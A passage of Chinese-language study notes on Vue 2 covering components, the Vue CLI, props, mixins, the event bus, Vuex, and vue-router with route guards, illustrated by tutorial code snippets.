2. data必须写成函数，为什么？ ———— 避免组件被复用时，数据存在引用关系。备注：使用template可以配置组件结构。
二、如何注册组件？
1. 局部注册：靠new Vue的时候传入components选项
2. 全局注册：靠Vue.component('组件名',组件)
三、编写组件标签：

<div id="root">
	<!-- 第三步：编写组件标签 -->
	<school></school>
    <student></student>
</div>

//第一步：创建school组件
const school = Vue.extend({
	template:`
		<div class="demo">
			<h2>学校名称：{{schoolName}}</h2>
			<h2>学校地址：{{address}}</h2>
			<button @click="showName">点我提示学校名</button>	
		</div>
	`,
	// el:'#root', 
    //组件定义时，一定不要写el配置项，因为最终所有的组件都要被一个vm管理，由vm决定服务于哪个容器。
	data(){
		return {
			schoolName:'尚硅谷',
			address:'北京昌平'
		}
	},
	methods: {
		showName(){
			alert(this.schoolName)
		}
	},
})
//创建vm
new Vue({
	el:'#root',
	data:{
		msg:'你好啊！'
	},
	//第二步：注册组件（局部注册）
	components:{
		school
	}
})

2.几个注意点

关于组件名: 一个单词组成：第一种写法(首字母小写)：school 第二种写法(首字母大写)：School 多个单词组成：第一种写法(kebab-case命名)：my-school 第二种写法(CamelCase命名)：MySchool (需要Vue脚手架支持) 备注： (1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。 (2).可以使用name配置项指定组件在开发者工具中呈现的名字。
关于组件标签: 第一种写法：第二种写法：备注：不用使用脚手架时，会导致后续组件不能渲染。
一个简写方式： const school = Vue.extend(options) 可简写为：const school = options

3.组件的嵌套

//app为跟组件, VM-app-其他...
const app = Vue.extend({
	template:`
		<div>	
			<hello></hello>
			<school></school>
		</div>
	`,
	components:{
		school,
		hello
	}
})
//创建vm
new Vue({
	template:'<app></app>',
	el:'#root',
	//注册组件（局部）
	components:{app}
})

4.VueComponent

school组件本质是一个名为VueComponent的构造函数，且不是程序员定义的，是Vue.extend生成的。
我们只需要写或，Vue解析时会帮我们创建school组件的实例对象，即Vue帮我们执行的：new VueComponent(options)。
特别注意：每次调用Vue.extend，返回的都是一个全新的VueComponent！！！！
关于this指向：
- (1).组件配置中： data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是**【VueComponent实例对象】**。
- (2).new Vue(options)配置中： data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是**【Vue实例对象】**。
VueComponent的实例对象，以后简称vc（也可称之为：组件实例对象）。 Vue的实例对象，以后简称vm。
VueComponent(组件实例对象)：小型的vm；与vm有什么区别：它的data必须写成函数，它不能写el配置项

// 打印console.log('@',school)
ƒ VueComponent (options) {
        this._init(options);
}
// vue.js源码
Vue.extend = function (extendOptions) {
	...
	var Sub = function VueComponent(options) {
		this._init(options);
	};
	...
	return Sub //返回VueComponent函数
};

可 Vue 下 VueComponent 嵌套关系

5.一个重要的内置关系

1.一个重要的内置关系：VueComponent.prototype._ proto_ === Vue.prototype 2.为什么要有这个关系：让组件实例对象（vc）可以访问到 Vue原型上的属性、方法。

三、使用Vue 脚手架

Vue 脚手架是 Vue 官方提供的标准化开发工具（开发平台）-—文档: cli.vuejs.org/zh/

01.初始化脚手架

1.具体步骤

备注：首次如出现下载缓慢请配置npm淘宝镜像: npm config set registry registry.npm.taobao.org

第一步(仅第一次执行)︰全局安装@vue/cli。

npm install -g @vue/cli
# OR
yarn global add @vue/cli

创建一个项目：(my-project 项目名)
```
vue create my-project
# OR
vue ui
```
- 有项目时 yarn 下依赖 npm install， yarn install，npx yarn
启动项目
```
yarn serve
# OR
npm run serve
```

报错:TypeScript intellisense is disabled on template. To enable, configure "jsx": "preserve" in the "compilerOptions" property of tsconfig or jsconfig. To disable this prompt instead, configure "experimentalDisableTemplateSupport": true in "vueCompilerOptions" property.

解决方案 jsconfig.json：

"jsx": "preserve",	*//在这里添加"jsx": "preserve",*

Vue脚手架报错 Component name “Student“ should always be multi-word vue/multi-word-component-names （1）在项目的根目录找到(没有就自行创建)vue.config.js文件（2）在文件中添加如下内容

const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  transpileDependencies: true,
  lintOnSave:false /*关闭语法检查*/
})

版本老 卸载：npm uninstall svg-sprite-loader

安装：npm i svg-sprite-loader@4.1.3 -D

快捷方式 ctrl+~ 打开终端 ctrl+c 关闭进程 <+v 组件快速创建

2.模板项目的结构

02.ref 与 props

ref属性

被用来给元素或子组件注册引用信息(id的替代者)
应用在html标签上获取的是真实DOM元素，应用在组件标签上是组件实例对象(vc)
使用方式: 打标识:
.....
或获取: this.$refs.xxx

props配置项

功能：让组件接收外部传过来的数据 (props优先级比data更高)
传递数据：在App.vue（父）中 <Demo name="xxx",age="xxx"/>
接收数据：组件（子）中
1. 第一种方式（只接收）：props:['name','age','sex']
2. 第二种方式（限制类型）：props:{name:String}
3. 第三种方式（限制类型、限制必要性、指定默认值）：
```
props:{
	name:{
	type:String, //类型
	required:true, //必要性
	default:'老王' //默认值
	}
}
```
备注：props是只读的，Vue底层会监测你对props的修改，如果进行了修改，就会发出警告；

若业务需求确实需要修改，那么请复制props的内容到data中一份，然后去修改data中的数据。

data() { return { myAge: this.age } },

03.mixin(混入)

功能：可以把多个组件共用的配置提取成一个混入对象

使用方式：

第一步定义混合：

(创建mixin.js文件)
export const hunhe2 ={
    data(){....},
    methods:{....}
    ....
}

第二步使用混入：

局部混入：(在组件中引入hunhe2)
import {hunhe,hunhe2} from '../mixin' //引入
export default {  //应用
	mixins:['hunhe2']
}

全局混入：Vue.mixin(xxx) (在main.js中)

04.插件

功能：用于增强Vue
本质：包含install方法的一个对象，install的第一个参数是Vue，第二个以后的参数是插件使用者传递的数据。

定义插件：

(创建plugins.js)
export default {
  install(Vue, options) {
    // 1. 添加全局过滤器
    Vue.filter(....)

    // 2. 添加全局指令
    Vue.directive(....)

    // 3. 配置全局混入(合)
    Vue.mixin(....)

    // 4. 添加实例方法
    Vue.prototype.$myMethod = function () {...}
    Vue.prototype.$myProperty = xxxx
}}

使用插件：

(在main.js中)
//引入插件
import plugins from './plugins'
//应用（使用）插件
Vue.use(plugins,传参数)

05.scoped样式

作用：让样式在局部生效，防止冲突。
写法：<style scoped>
使用时
安装 less-loader：npm i less-loader

06.总结Todolist案例

组件化编码流程：

(1).拆分静态组件：组件要按照功能点拆分，命名不要与html元素冲突。

(2).实现动态组件：考虑好数据的存放位置，数据是一个组件在用，还是一些组件在用：

1).一个组件在用：放在组件自身即可。

2). 一些组件在用：放在他们共同的父组件上（状态提升）。

(3).实现交互：从绑定事件开始。
props适用于：

(1).父组件 ==> 子组件通信

(2).子组件 ==> 父组件通信（要求父先给子一个函数）
使用v-model时要切记：v-model绑定的值不能是props传过来的值，因为props是不可以修改的！
props传过来的若是对象类型的值，修改对象中的属性时Vue不会报错，但不推荐这样做。(计算bool值的话可使用。)
id全球唯一标识包uuid(较大) nanoid(较小)：npm i nanoid 引入：import {nanoid} from 'nanoid' 使用：id:nanoid()

07.webStorage

存储内容大小一般支持5MB左右（不同浏览器可能还不一样）
浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。
相关API：
1. xxxxxStorage.setItem('key', 'value'); 该方法接受一个键和值作为参数，会把键值对添加到存储中，如果键名存在，则更新其对应的值。
2. xxxxxStorage.getItem('person');
  
  该方法接受一个键名作为参数，返回键名对应的值。
3. xxxxxStorage.removeItem('key');
  
  该方法接受一个键名作为参数，并把该键名从存储中删除。
4. xxxxxStorage.clear()
  
  该方法会清空存储中的所有数据。
备注：
1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
2. LocalStorage存储的内容，需要手动清除才会消失。
3. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到，那么getItem的返回值是null。
4. JSON.parse(null)的结果依然是null。

Token

基于Token的身份验证的过程如下:

1.用户通过用户名和密码发送请求。

2.服务器端程序验证。

3.服务器端程序返回一个带签名的token 给客户端。

4.客户端储存token,并且每次访问API都携带Token到服务器端的。

5.服务端验证token，校验成功则返回请求数据，校验失败则返回错误码。

在这里插入图片描述

项目中使用token总结

使用基于 Token 的身份验证方法，在服务端不需要存储用户的登录记录。大概的流程是这样的：

前端使用用户名跟密码请求首次登录
后服务端收到请求，去验证用户名与密码是否正确
验证成功后，服务端会根据用户id、用户名、定义好的秘钥、过期时间生成一个 Token，再把这个 Token 发送给前端

前端收到返回的Token ，把它存储起来，比如放在 Cookie 里或者 Local Storage 里

export interface User {
    token: string;
    userInfo: UserInfo | any;
    companyInfo: CompanyInfo | any;
    resources?: string[];
}

save(key: string, value: any, storageType ?: StorageType) {
    return this.storageService.put(
        {
            pool: key,
            key: 'chris-app',
            storageType: StorageType.localStorage
        },
        value
    );
}
this.storageService.save(CACHE_USER_KEY, user);

前端每次路由跳转，判断 localStroage 有无 token ，没有则跳转到登录页。有则请求获取用户信息，改变登录状态；
前端每次向服务端请求资源的时候需要在请求头里携带服务端签发的Token
```
HttpInterceptor => headers = headers.set('token', this.authService.getToken());
```
服务端收到请求，然后去验证前端请求里面带着的 Token。没有或者 token 过期，返回401。如果验证成功，就向前端返回请求的数据。

前端得到 401 状态码，重定向到登录页面。

HttpInterceptor => 
    401: '用户登陆状态失效，请重新登陆。'

登录理解：首先通过v-model获取输入内容然后element进行表单验证。然后导入提前封装的请求，传入验证成功的内容作为参数发送请求。前端收到返回的Token 和userInfo存入cookie中或者 Local Storage 里，再存入vuex中。前端每次路由跳转，判断vuex中的token ，没有则跳转到登录页。有则请求获取用户信息，改变登录状态；

08.组件的自定义事件

一种组件间通信的方式，适用于：子组件 ===> 父组件
使用场景：A是父组件，B是子组件，B想给A传数据，那么就要在A中给B绑定自定义事件（事件的回调在A中）。
绑定自定义事件：(父)
1. 第一种方式，在父组件中：<Demo @atguigu="test"/> 或 <Demo v-on:atguigu="test"/>(标签里)
2. 第二种方式，在父组件中：(勾子里)
```
<Demo ref="demo"/>
......
mounted(){
      //实例对象,   当atguigu被触发的时候 执行回调函数test
   this.$refs.xxx.$on('atguigu',this.test) 
}
```
3. 若想让自定义事件只能触发一次，可以使用once修饰符(标签里)，或$once方法(勾子里)。
触发自定义事件：this.$emit('atguigu',数据) (子)
解绑自定义事件this.$off('atguigu')，多个可放数组内。
组件上也可以绑定原生DOM事件，需要使用@click.native="show"修饰符（变为初始的原生事件）。
注意：通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时，回调要么配置在methods中，要么用箭头函数，否则this指向会出问题！
this.$destroy() 销毁了当前组件的实例，销毁后所有当前实例的自定义事件全都不奏效，原生DOM事件仍然可用。

09.全局事件总线（GlobalEventBus）

一种组件间通信的方式，适用于任意组件间通信。

安装全局事件总线：(在main.js)

new Vue({
	......
	beforeCreate() { //生命周期创建之前
		Vue.prototype.$bus = this //安装全局事件总线，$bus就是当前应用的vm
	},
    ......
})

使用事件总线：

接收数据：A组件想接收数据，则在A组件中给$bus绑定自定义事件，事件的回调留在A组件自身。

methods(){
  demo(data){......}
}
......
mounted() {//当xxxx所在函数被触发的时候，接受参数 执行回调
  this.$bus.$on('xxxx',this.demo)
  // 写法二
  this.$bus.$on('xxxx',(data){
    console.log(data); // 接收数值
  })   
}

提供数据：B组件this.$bus.$emit('xxxx',数据) （触发发送本组件数据）

最好在beforeDestroy钩子中，用$off去解绑当前组件所用到的事件。

	  beforeDestroy() {
	  	this.$bus.$off('xxxx')
	  },

10.消息订阅与发布（pubsub）

一种组件间通信的方式，适用于任意组件间通信。
使用步骤：
1. 安装pubsub ：npm i pubsub-js
2. 引入: import pubsub from 'pubsub-js' （接收均用）
3. 接收数据：A组件想接收数据，则在A组件中订阅消息，订阅的回调留在A组件自身。
```
methods:{
  demo(msgName,data){......} //消息名xxx(或下划线_占位)，参数
}
......
mounted() {
  this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
}
```
4. 提供数据：pubsub.publish('xxx',数据) 放入触发事件内
5. 最好在beforeDestroy钩子中，用PubSub.unsubscribe(pid)去取消订阅。

11.nextTick

语法：this.$nextTick(回调函数)
作用：在下一次 DOM 更新结束后执行其指定的回调。
什么时候用：当改变数据后，要基于更新后的新DOM进行某些操作时，要在nextTick所指定的回调函数中执行。

12.Vue封装的过度与动画

作用：在插入、更新或移除 DOM元素时，在合适的时候给元素添加样式类名。
图示：
写法：
1. 准备好样式：
  - 元素进入的样式：
    1. v-enter：进入的起点
    2. v-enter-active：进入过程中
    3. v-enter-to：进入的终点
  - 元素离开的样式：
    1. v-leave：离开的起点
    2. v-leave-active：离开过程中
    3. v-leave-to：离开的终点
2. 使用<transition>包裹要过度的元素，并配置name属性：(hello-enter-active：)
```
<transition name="hello">
	<h1 v-show="isShow">你好啊！</h1>
</transition>
```
3. 备注：若有多个元素需要过度，则需要使用：<transition-group>，且每个元素都要指定key值。

动画库 animate.style/

使用 npm 安装：（不带 $）
```
$ npm install animate.css --save
```
将其导入您的文件：
```
import 'animate.css';
```

安装 Animate.css 后，将类animate__animated与任何动画名称一起添加到元素（不要忘记animate__前缀！）：

<h1 class="animate__animated animate__bounce">An animated element</h1>
<transition-group appear
	name="animate__animated animate__bounce" 
	enter-active-class="animate__swing"
	leave-active-class="animate__backOutUp">
	<h1 v-show="!isShow" key="1">你好啊！</h1>
	<h1 v-show="isShow" key="2">尚硅谷！</h1>
</transition-group>

四.Vue 中的 ajax

1.vue脚手架配置代理

常用发送ajax请求方式

跨域

解决跨域

cors （后端配置响应头）返回数据携带一些特殊的响应头
jsonp 借助scrpt标签里src属性在引入外部资源的时候，不受同源策略限制的特点。（前后端均需配置）只能解决get请求，post等请求都解决不了
代理服务器

下载：npm i axios 引入： import axios from 'axios' (App内)

方法一

发送请求

axios.get('http://localhost:8080/students').then(
	response => {
		console.log('请求成功了', response.data)
	},
	error => {
		console.log('请求失败了', error.message)
	}
)

在vue.config.js中添加如下配置：

module.exports = {
  devServer: {
    proxy: 'http://localhost:5000'
  }
}

说明：

优点：配置简单，请求资源时直接发给前端（8080）即可。
缺点：不能配置多个代理，不能灵活的控制请求是否走代理。
工作方式：若按照上述配置代理，当请求了前端不存在的资源时，那么该请求会转发给服务器（优先匹配前端资源）

方法二

编写vue.config.js配置具体代理规则：

module.exports = {
 devServer: {
    proxy: {
      '/atguigu': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
	    pathRewrite:{'^/atguigu':''},
        // ws: true, //用于支持websocket
        // changeOrigin: true //用于控制请求头中的host值
      },
      '/demo': {
        target: 'http://localhost:5001',
	    pathRewrite:{'^/demo':''},
      }
    }
  }
}
/*
   changeOrigin设置为true时，服务器收到的请求头中的host为：localhost:5000
   changeOrigin设置为false时，服务器收到的请求头中的host为：localhost:8080
   changeOrigin默认值为true
*/

说明：

优点：可以配置多个代理，且可以灵活的控制请求是否走代理。
缺点：配置略微繁琐，请求资源时必须加前缀。

2.github 用户搜索案例

接口地址 api.github.com/search/user…

vue 项目中常用的 2 个 Ajax 库

axios 通用的 Ajax 请求库, 官方推荐，使用广泛
vue-resource vue 插件库, vue1.x 使用广泛，官方已不维护。安装：npm i vue-resource 引用：在main.js中
```
//引入插件
import vueResource from 'vue-resource'
//使用插件
Vue.use(vueResource)
```

3.插槽

作用：让父组件可以向子组件指定位置插入html结构，也是一种组件间通信的方式，适用于 父组件 ===> 子组件 。
分类：默认插槽、具名插槽、作用域插槽

使用方式：

默认插槽：

父组件中：(数据在父)
        <Category>
           <div>html结构1</div>
        </Category>
子组件中：
(Category.vue)
        <template>
            <div>
               <!-- 定义一个插槽（挖个坑，等着组件的使用者进行填充） -->
               <slot>我是一些默认值，当使用者没有传递具体结构时，我会出现</slot>
            </div>
        </template>

具名插槽：

父组件中：(数据在父)
        <Category>
            <template slot="center"><!-- 具名写法 均支持 -->
              <div>html结构1</div>
            </template>

            <template v-slot:footer> <!-- 仅template标签支持 -->
               <div>html结构2</div>
            </template>
        </Category>
子组件中：
(Category.vue)
        <template>
            <div>
               <!-- 定义插槽 -->
               <slot name="center">插槽默认内容...</slot>
               <slot name="footer">插槽默认内容...</slot>
            </div>
        </template>

作用域插槽：

理解：数据在组件的自身，但根据数据生成的结构需要组件的使用者来决定。（games数据在Category子组件中，但使用数据所遍历出来的结构由App父组件决定）

具体编码：

父组件中：
		<Category>
             <!-- 必须在template标签里 scope="自定义名字 接收" -->
			<template scope="scopeData">
				<!-- 生成的是ul列表 -->
				<ul>
					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
				</ul>
			</template>
		</Category>

		<Category>
        <!-- <template scope="{games}"> es6语法结构赋值 下面可直接用games获取 -->
			<template slot-scope="scopeData"><!-- slot-scope 新API 均可用 -->
				<!-- 生成的是h4标题 -->
				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
			</template>
		</Category>
子组件中：
        <template>
            <div>
                <slot :games="games"></slot> <!-- 插槽 传值 -->
            </div>
        </template>
		
        <script>
            export default {
                name:'Category',
                props:['title'],
                //数据在子组件自身
                data() {
                    return {
                        games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                    }
                },
            }
        </script>

五.Vuex

1.理解 vuex

vuex 是什么

概念：专门在 Vue 中实现集中式状态（数据）管理的一个 Vue 插件，对 vue 应用中多个组件的共享状态进行集中式的管理（读/写），也是一种组件间通信的方式，且适用于任意组件间通信。
Github 地址: github.com/vuejs/vuex

2.什么时候使用 Vuex

(多个组件需要共享数据时)

多个组件依赖于同一状态
来自不同组件的行为需要变更同一状态

共享

3.搭建vuex环境

安装：npm i vuex@3

创建文件：src/store/index.js (该文件用于创建 Vuex 中最为核心的 store)

//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)

//准备actions对象——响应组件中用户的动作
const actions = {}
//准备mutations对象——修改state中的数据
const mutations = {}
//准备state对象——保存具体的数据
const state = {}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state
})

在main.js中创建vm时传入store配置项

......
//引入store
import store from './store'

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	store, //使用store
})

4.基本使用

在components/Count.vue

//点击触发
methods: {
    //正常
	incrementOdd(){ //编写dispatch 访问actions
		this.$store.dispatch('jiaOdd',this.n)
	},
    //（无筛筛选条件时）
	increment(){ //编写commit(大写) 直接访问Mutations
		this.$store.commit('JIA',this.n)
	},
},

初始化数据、配置actions、配置mutations，操作文件store.js

//准备actions——用于响应组件中的动作
const actions = {
    //响应组件中加的动作
    jiaOdd(context,value){ //context包装了一些属性miniStore，value下拉框的值 data()值
		console.log('actions中的jiaOdd被调用了')
		if(context.state.sum % 2){ 
			context.commit('JIA',value)
		}
	},
}

//准备mutations——用于操作数据（state）
const mutations = {
    //执行加
	JIA(state,value){ //state中存储的数据
		// console.log('mutations中的JIA被调用了')
		state.sum += value
	}
}

//准备state——用于存储数据
const state = {
   sum:0,//当前的和
   school:'尚硅谷',
}  

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state,
})

组件中读取vuex中的数据：$store.state.sum
```
<h1>当前求和为：{{$store.state.sum}}</h1>
```
组件中修改vuex中的数据：$store.dispatch('action中的方法名',数据) 或 $store.commit('mutations中的方法名',数据)

备注：若没有网络请求或其他业务逻辑，组件中也可以越过actions，即不写dispatch，直接编写commit

接口：api.uixsj.cn/hitokoto/ge…

5.getters的使用

概念：当state中的数据需要经过加工后再使用时，可以使用getters加工。

在store.js中追加getters配置类似

//准备state——用于存储数据
const state = {
	sum:0, //当前的和
    school:'尚硅谷',
}
//准备getters——用于将state中的数据进行加工
const getters = {
	bigSum(state){
		return state.sum*10
	}
}
//创建并暴露store
export default new Vuex.Store({
	......
	getters
})

组件中读取数据：$store.getters.bigSum

<h3>当前求和为：{{$store.getters.bigSum}}</h3>

6.四个map方法的使用

在components/Count.vue

引入import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'

<h1>当前求和为：{{sum}}</h1>
<h3>当前求和放大10倍为：{{bigSum}}</h3>

<button @click="increment(n)">+</button>
<button @click="incrementOdd(n)">当前求和为奇数再加</button>

mapState方法：用于帮助我们映射state中的数据为计算属性（简写）

computed: {
    //借助mapState生成计算属性：sum、school、subject（对象写法）
    ...mapState({sum:'sum',school:'school',subject:'subject'}),
         
    //借助mapState生成计算属性：sum、school、subject（数组写法）
    ...mapState(['sum','school','subject']),
},

mapGetters方法：用于帮助我们映射getters中的数据为计算属性

computed: {
    //借助mapGetters生成计算属性：bigSum（对象写法）
    ...mapGetters({bigSum:'bigSum'}),

    //借助mapGetters生成计算属性：bigSum（数组写法）
    ...mapGetters(['bigSum'])
},

mapActions方法：用于帮助我们生成与actions对话的方法，即：包含$store.dispatch(xxx)的函数

methods:{
    //靠mapActions生成：incrementOdd、incrementWait（对象形式）
    ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

    //靠mapActions生成：jiaOdd、jiaWait（数组形式）
    ...mapActions(['jiaOdd','jiaWait'])         //触发名 和 actions名 相同
}

mapMutations方法：用于帮助我们生成与mutations对话的方法，即：包含$store.commit(xxx)的函数

methods:{
    //靠mapActions生成：increment、decrement（对象形式）
    ...mapMutations({increment:'JIA',decrement:'JIAN'}),
    
    //靠mapMutations生成：JIA、JIAN（对象形式）
    ...mapMutations(['JIA','JIAN']),          //触发名 和 mutations名 相同
}

备注：mapActions与mapMutations使用时，若需要传递参数需要：在模板中绑定事件时传递好参数，否则参数是事件对象event。

7.模块化+命名空间

目的：让代码更好维护，让多种数据分类更加明确。

修改store.js

const countAbout = {
  namespaced:true,//开启命名空间
  state:{x:1},
  mutations: { ... },
  actions: { ... },
  getters: {
    bigSum(state){
       return state.sum * 10
    }
  }
}

const personAbout = {
  namespaced:true,//开启命名空间
  state:{ ... },
  mutations: { ... },
  actions: { ... }
}

const store = new Vuex.Store({
  modules: {
    countAbout,
    personAbout
  }
})

开启命名空间后，组件中读取state数据：

//方式一：自己直接读取
this.$store.state.personAbout.list
//方式二：借助mapState读取：
...mapState('countAbout',['sum','school','subject']),

开启命名空间后，组件中读取getters数据：

//方式一：自己直接读取
this.$store.getters['personAbout/firstPersonName']
//方式二：借助mapGetters读取：
...mapGetters('countAbout',['bigSum'])

开启命名空间后，组件中调用dispatch

//方式一：自己直接dispatch
this.$store.dispatch('personAbout/addPersonWang',person)
//方式二：借助mapActions：
...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

开启命名空间后，组件中调用commit

//方式一：自己直接commit
this.$store.commit('personAbout/ADD_PERSON',person)
//方式二：借助mapMutations：
...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),

六. 路由 vue-router

对 SPA 应用的理解 1.单页 Web 应用（single page web application，SPA）。 2.整个应用只有一个完整的页面。 3.点击页面中的导航链接不会刷新页面，只会做页面的局部更新。 4.数据需要通过 ajax 请求获取。

理解：一个路由（route）就是一组映射关系（key - value），多个路由需要路由器（router）进行管理。
**前端路由：**key是路径，value是组件。
后端路由：value 是 function, 用于处理客户端提交的请求。工作过程：服务器接收到一个请求时, 根据请求路径找到匹配的函数来处理请求, 返回响应数据

1.基本使用

安装vue-router，命令：npm i vue-router@3 (vue2)

在main.js

//引入路由器
import router from './router'
//应用插件
Vue.use(VueRouter)
//创建vm
new Vue({
    ....
	router //配置路由
})

编写router配置项:
在router/index.js (该文件专门用于创建整个应用的路由器)

//引入VueRouter
import VueRouter from 'vue-router'
//引入Luyou 组件
import About from '../components/About'
import Home from '../components/Home'

//创建并暴露一个路由器，去管理一组一组的路由规则
export default new VueRouter({
	routes:[
		{
			path:'/about',
			component:About
		},
		{
			path:'/home',
			component:Home
		}
	]
})

实现切换（active-class可配置高亮样式）App.vue

<router-link active-class="active" to="/about">About</router-link>

指定展示位置
```
<router-view></router-view>
```

2.几个注意点

路由组件通常存放在pages文件夹，一般组件通常存放在components文件夹。
通过切换，“隐藏”了的路由组件，默认是被销毁掉的，需要的时候再去挂载。
每个组件都有自己的$route属性，里面存储着自己的路由信息。
整个应用只有一个router，可以通过组件的$router属性获取到。==>路由器

3.多级路由（多级路由）

配置路由规则，使用children配置项：

routes:[
	{
		path:'/about',
		component:About,
	},
	{
		path:'/home',
		component:Home,
		children:[ //通过children配置子级路由
			{
				path:'news', //此处一定不要写：/
				component:News
			},
			{
				path:'message',//此处一定不要写：/
				component:Message
			}
		]
	}
]

跳转（要写完整路径）：

<router-link to="/home/news">News</router-link>

4.路由的query参数

传递参数

<!-- 跳转并携带query参数，to的字符串写法 -->
<router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>
				
<!-- 跳转并携带query参数，to的对象写法 -->
<router-link 
	:to="{
		path:'/home/message/detail',
		query:{
		   id:666,
            title:'你好'
		}
	}"
>跳转</router-link>

接收参数：
```
$route.query.id
$route.query.title
```

5.命名路由

作用：可以简化路由的跳转。

如何使用

给路由命名：

{
	path:'/demo',
	component:Demo,
	children:[
		{
			path:'test',
			component:Test,
			children:[
				{
                      name:'hello' //给路由命名
					path:'welcome',
					component:Hello,
				}
			]
		}
	]
}

简化跳转：

<!--简化前，需要写完整的路径 -->
<router-link to="/demo/test/welcome">跳转</router-link>

<!--简化后，直接通过名字跳转 -->
<router-link :to="{name:'hello'}">跳转</router-link>

<!--简化写法配合传递参数 -->
<router-link 
	:to="{
		name:'hello',
		query:{
		   id:666,
            title:'你好'
		}
	}"
>跳转</router-link>

6.路由的params参数

路由传参分为 params 传参与 query 传参

params 传参类似于网络请求中的 post 请求，params 传过去的参数不会显示在地址栏中（但是不能刷新）。 params 必须使用 name 配置，如果提供了 path，params 会失效。

query 传参类似于网络请求中的 get 请求，query 传过去的参数会拼接在地址栏中（?name=xx）。query 较为灵活既可以配合 path 使用，也能配合 name 使用。

配置路由，声明接收params参数

{
	path:'/home',
	component:Home,
	children:[
		{
			path:'news',
			component:News
		},
		{
			component:Message,
			children:[
				{
					name:'xiangqing',
					path:'detail/:id/:title', //使用占位符声明接收params参数
					component:Detail
				}
			]
		}
	]
}

传递参数

<!-- 跳转并携带params参数，to的字符串写法 -->
<router-link :to="/home/message/detail/666/你好">跳转</router-link>
				
<!-- 跳转并携带params参数，to的对象写法 -->
<router-link 
	:to="{
		name:'xiangqing',
		params:{
		   id:666,
            title:'你好'
		}
	}"
>跳转</router-link>

特别注意：路由携带params参数时，若使用to的对象写法，则不能使用path配置项，必须使用name配置！

接收参数：
```
$route.params.id
$route.params.title

this.$route.query.id
```
总结
- 通过登录的例子来看，如果用户名不是敏感信息，可以直接放在地址栏中（使用query参数）
- 为什么不用params传参？由于 params 传参不能刷新。或满足刷新需求，但要对地址进行修改，用户名一样会显示在地址栏中
- 页面刷新或者回退时，params参数会被清空。要想保留params参数，需将其保存在localStorage中。在 created 生命周期时先获取缓存数据，在页面销毁时删除缓存。

7.路由的props配置

作用：让路由组件更方便的收到参数

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一种写法：props值为对象，该对象中所有的key-value的组合最终都会通过props传给Detail组件
	// props:{a:900}

	//第二种写法：props值为布尔值，布尔值为true，则把路由收到的所有params参数通过props传给Detail组件
	// props:true
	
	//第三种写法：props值为函数，该函数返回的对象中每一组key-value都会通过props传给Detail组件
	props(route){
		return {
			id:route.query.id,
			title:route.query.title
		}
	}
}

接收参数：

<li>消息编号：{{id}}</li>
<li>消息标题：{{title}}</li>

props:['id','title']

8.`<router-link>`的replace属性

作用：控制路由跳转时操作浏览器历史记录的模式
浏览器的历史记录有两种写入方式：分别为push和replace，push是追加历史记录，replace是替换当前记录。路由跳转时候默认为push
如何开启replace模式：<router-link replace .......>News</router-link>

9.编程式路由导航

作用：不借助<router-link> 实现路由跳转，让路由跳转更加灵活

具体编码：

//$router的两个API
this.$router.push({
	name:'xiangqing',
		params:{
			id:xxx,
			title:xxx
		}
})

this.$router.replace({
	name:'xiangqing',
		params:{
			id:xxx,
			title:xxx
		}
})
this.$router.forward() //前进
this.$router.back() //后退
this.$router.go() //可前进也可后退 正数前进 负后退

10.缓存路由组件

作用：让不展示的路由组件保持挂载，前进后退不被销毁。
在组件切换过程中将状态保留在内存中，防止重复渲染DOM，减少加载时间及性能消耗，提高用户体验性
在 created 函数调用时将需要缓存的 VNode(虚拟) 节点保存在 this.cache 中／在 render（页面渲染）时，如果 VNode 的 name 符合缓存条件（可以用 include 以及 exclude 控制），则会从 this.cache 中取出之前缓存的 VNode 实例进行渲染。 include - 记录的是哪些组件可以被缓存 字符串或正则表达式。只有名称匹配的组件会被缓存。 exclude - 记录了哪些组件不能被缓存 字符串或正则表达式。任何名称匹配的组件都不会被缓存。

具体编码：

<keep-alive :include="['News', 'Message']"> <!-- 缓存多个数组包裹 加冒号-->
    
 <!-- include="组件名"，不写 默认里面全部不被销毁-->    
<keep-alive include="News">
    <router-view></router-view>
</keep-alive>

11.两个新的生命周期钩子

作用：路由组件所独有的两个钩子，用于捕获路由组件的激活状态。
具体名字：
1. activated路由组件被激活时触发。(切换来) 在 keep-alive 组件激活时调用
2. deactivated路由组件失活时触发。(切换走) 在 keep-alive 组件停用时调用

12.路由守卫

作用：对路由进行权限控制
分类：全局守卫、独享守卫、组件内守卫

路由元信息：meta ，在各自$route里

routes:[{
			name:'guanyu',
			path:'/about',
			component:About,
             //容器(存放程序员自定义信息)
			meta:{isAuth:true,title:'关于'}
		},

全局守卫:

//全局前置守卫：初始化时执行、每次路由切换前执行
router.beforeEach((to,from,next)=>{
	console.log('beforeEach',to,from)
	if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
		if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
			next() //放行 展示
		}else{
			alert('暂无权限查看')
			// next({name:'guanyu'})
		}
	}else{
		next() //放行
	}
})

//全局后置守卫：初始化时执行、每次路由切换后执行
router.afterEach((to,from)=>{
	console.log('afterEach',to,from)
	if(to.meta.title){ 
		document.title = to.meta.title //修改网页的title
	}else{
		document.title = 'vue_test'
